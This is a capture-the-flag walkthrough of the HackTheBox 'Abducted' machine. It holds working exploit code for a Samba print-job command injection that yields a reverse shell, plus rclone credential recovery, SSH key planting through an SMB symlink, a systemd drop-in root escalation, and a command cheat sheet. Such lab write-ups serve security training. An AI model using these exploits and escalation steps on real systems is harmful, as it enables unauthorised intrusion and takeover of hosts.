HTB: Abducted

August 4, 2026 HackTheBox Samba Linux Medium 7 min read

Abducted is a Samba-only box — no web server, just SSH and two SMB ports. The path in is an unauthenticated print-spooler shell injection (CVE-2026-4480) against a guest-accessible printer share, which lands as nobody. From there it's a straight line through a leaked rclone credential, password reuse into SSH, an SMB wide-links symlink abused to plant an SSH key as a second user, and a final privesc through a group-writable systemd drop-in for the Samba service.

Guest SMB (HP-Reception) → CVE-2026-4480 RCE → nobody → rclone.conf → scott (SSH) → marcus (SMB symlink) → root (systemd)

HackTheBox "You have solved Abducted!" congratulations screen — machine rank #1721, retired, 650 XP earned

Reconnaissance

Nmap

Standard service scan against the box:

nmap

SP1R4@kali)-[~] └$ nmap -sC -sV -A <TARGET_IP> -oA abducted PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 139/tcp open netbios-ssn Samba smbd 4 445/tcp open netbios-ssn Samba smbd 4

Port	Service	Notes
22	SSH	OpenSSH 9.6p1 Ubuntu
139/445	SMB	Samba smbd 4 — NetBIOS name `ABDUCTED`, server string "Hartley Group Document Services"

No web server on this one — SMB is the entire attack surface. Add the hostname:

/etc/hosts

SP1R4@kali)-[~] └$ echo "<TARGET_IP> abducted.htb" | sudo tee -a /etc/hosts

SMB & RPC Enumeration

Listing shares with a null session:

smbclient -L

SP1R4@kali)-[~] └$ smbclient -L //<TARGET_IP> -N Sharename Type Comment --------- ---- ------- HP-Reception Printer Reception printer projects Disk Hartley Group Project Files transfer Disk Staff file transfer IPC$ IPC IPC Service (Hartley Group Document Services) SP1R4@kali)-[~] └$ smbclient //<TARGET_IP>/projects -N NT_STATUS_ACCESS_DENIED SP1R4@kali)-[~] └$ smbclient //<TARGET_IP>/transfer -N NT_STATUS_ACCESS_DENIED

Both disk shares reject guest access — HP-Reception is the only thing open, and it's a printer, not a file share. rpcclient against the null session pulls a username and confirms the share paths on disk:

rpcclient

SP1R4@kali)-[~] └$ rpcclient -U "" -N <TARGET_IP> rpcclient $> enumdomusers user:[scott] rid:[0x3e8] rpcclient $> netshareenum netname: HP-Reception path: C:\var\spool\samba netname: projects path: C:\srv\projects netname: transfer path: C:\srv\transfer

One local user (scott), a guest-writable printer share backed by /var/spool/samba, and a print server exposed to anonymous users. Combined with the box name and a recent Samba CVE, the printer is the way in.

Initial Foothold — CVE-2026-4480 (Samba %J Print Injection)

CVE-2026-4480 is an unauthenticated command injection in Samba's print spooler. When a print job is submitted, Samba substitutes the client-supplied job name into the configured print command via the %J token — without sanitizing shell metacharacters. Setting the job name to |sh and writing a shell payload as the job body gets that payload executed by whatever account runs smbd's print handler.

The exploit talks to the spoolss named pipe directly: open a handle on the printer, start a document with job name |sh, and write the payload as the print data.

cve-2026-4480.py — core exploit logic

# apt install python3-samba from samba.dcerpc import spoolss from samba.param import LoadParm from samba.credentials import Credentials lp = LoadParm(); lp.load_default() creds = Credentials(); creds.guess(lp); creds.set_anonymous() iface = spoolss.spoolss(f'ncacn_np:{rhost}[\\pipe\\spoolss]', lp, creds) h = iface.OpenPrinter(f'\\\\{rhost}\\HP-Reception', '', spoolss.DevmodeContainer(), 0x8) i1 = spoolss.DocumentInfo1() i1.document_name = '|sh' # %J injection point i1.datatype = 'RAW' ctr = spoolss.DocumentInfoCtr(); ctr.level = 1; ctr.info = i1 iface.StartDocPrinter(h, ctr) iface.StartPagePrinter(h) iface.WritePrinter(h, payload, len(payload)) # reverse shell one-liner iface.EndPagePrinter(h); iface.EndDocPrinter(h); iface.ClosePrinter(h)

Listener up, exploit fired at the printer share:

exploit run

SP1R4@kali)-[~] └$ nc -lvnp 4444 SP1R4@kali)-[~] └$ python3 cve-2026-4480.py -r <TARGET_IP> -l <YOUR_IP> -p 4444 [*] Connecting to spoolss pipe on <TARGET_IP> ... [*] Opening printer handle: \\<TARGET_IP>\HP-Reception [*] Submitting print job with job name '|sh' (%J injection) ... [+] Job submitted successfully — check your listener! connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET_IP>] 41288 (remote) nobody@abducted:/$ id uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

Shell as nobody — the Samba guest account, running unauthenticated straight off the print spooler.

Post-Exploitation — rclone Credentials

Sweeping for config files outside the usual system paths:

nobody — hunting for creds

(remote) nobody@abducted:/$ find / -type f -name "*.conf" 2>/dev/null | grep -Ev "^/usr/|^/etc/" /opt/offsite-backup/rclone.conf (remote) nobody@abducted:/$ cat /opt/offsite-backup/rclone.conf [offsite] type = sftp host = backup.hartley-group.internal user = svc-backup pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw shell_type = unix

rclone obfuscates stored passwords rather than encrypting them — rclone reveal reverses it in one shot:

rclone reveal

SP1R4@kali)-[~] └$ rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw iXzvcib3SrpZ

Lateral Movement — SSH as scott (Password Reuse)

Only two local users exist on the box (scott, marcus). The recovered svc-backup password gets tried against scott's SSH login and lands:

ssh — scott

SP1R4@kali)-[~] └$ ssh scott@abducted.htb Password: iXzvcib3SrpZ scott@abducted:~$ id uid=1000(scott) gid=1001(scott) groups=1001(scott) scott@abducted:~$ cat user.txt HTB{REDACTED}

🚩 User flag captured — svc-backup's rclone password was reused verbatim for scott's SSH account.

Enumeration as scott

No sudo rights. The Samba config is worth a second look now that there's a real shell to read it with:

smb.conf / shares.conf

scott@abducted:~$ sudo -l Sorry, user scott may not run sudo on abducted. scott@abducted:~$ cat /etc/samba/shares.conf [HP-Reception] path = /var/spool/samba printable = yes guest ok = yes print command = /usr/local/bin/printaudit %J %s [transfer] comment = Staff file transfer path = /srv/transfer valid users = scott force user = marcus read only = no wide links = yes browseable = yes

print command confirms the CVE-2026-4480 chain — %J lands unescaped in the shell command. More useful right now: the transfer share runs everything as marcus (force user) and follows symlinks across share boundaries (wide links = yes). Any file written into transfer is owned by marcus, and a symlink inside it can point anywhere on disk.

Lateral Movement — SSH Key Injection via SMB Symlink

Scott can write to /srv/transfer directly on the filesystem. Planting a symlink there that points into marcus's home directory turns the SMB share into a write primitive as marcus:

symlink + smbclient upload

scott@abducted:~$ ln -s /home/marcus /srv/transfer/marcus SP1R4@kali)-[~] └$ smbclient //<TARGET_IP>/transfer -U 'scott%iXzvcib3SrpZ' smb: \> cd marcus smb: \marcus\> mkdir .ssh smb: \marcus\> cd .ssh smb: \marcus\.ssh\> put id_rsa.pub authorized_keys putting file id_rsa.pub as \marcus\.ssh\authorized_keys

SSH refuses keys that are world-readable, so the mode has to be stripped through the share before it'll be accepted:

smbclient setmode + ssh

smb: \marcus\.ssh\> setmode authorized_keys a-r smb: \marcus\.ssh\> cd .. smb: \marcus\> setmode .ssh a-r+d SP1R4@kali)-[~] └$ ssh -i id_rsa marcus@abducted.htb marcus@abducted:~$ id uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

SSH as marcus — and a membership in operators worth chasing.

Privilege Escalation to Root — systemd Drop-in

Finding what that group actually grants access to:

marcus — operators group

marcus@abducted:~$ find / -group operators 2>/dev/null /etc/systemd/system/smbd.service.d

operators owns the drop-in directory for the smbd systemd unit. Drop-ins layer extra directives onto a service without touching the base unit file — an ExecStartPre here runs as root the moment the service restarts:

malicious drop-in → SUID bash → root

marcus@abducted:~$ cat > /etc/systemd/system/smbd.service.d/privesc.conf << 'EOF' [Service] ExecStartPre=/bin/bash -c 'chmod +s /bin/bash' EOF marcus@abducted:~$ systemctl daemon-reload && systemctl restart smbd marcus@abducted:~$ bash -p bash-5.2# whoami root bash-5.2# cat /root/root.txt HTB{REDACTED}

🚩 Root flag captured. ExecStartPre ran as root on service restart, set the SUID bit on /bin/bash, and bash -p preserved privileges into a root shell.

Summary

Stage	Technique	Tool
Foothold	CVE-2026-4480 — Samba `%J` print job shell injection, unauth	python3-samba
Credential theft	Obfuscated rclone password in world-readable config	rclone reveal
Lateral move	Password reuse (svc-backup → scott)	ssh
Lateral move	SMB `force user` + `wide links` symlink → key injection	smbclient
Root	Group-writable systemd drop-in, `ExecStartPre` as root	systemctl

Key commands

quick reference

# Enumeration smbclient -L //<IP> -N rpcclient -U "" -N <IP> # CVE-2026-4480 foothold python3 cve-2026-4480.py -r <IP> -l <LHOST> -p <LPORT> # Credential recovery rclone reveal <obfuscated-string> # SMB symlink key injection ln -s /home/<user> /srv/transfer/<user> smbclient //<IP>/transfer -U '<user>%<pass>' put id_rsa.pub authorized_keys setmode authorized_keys a-r # systemd drop-in privesc find / -group <group> 2>/dev/null systemctl daemon-reload && systemctl restart <unit>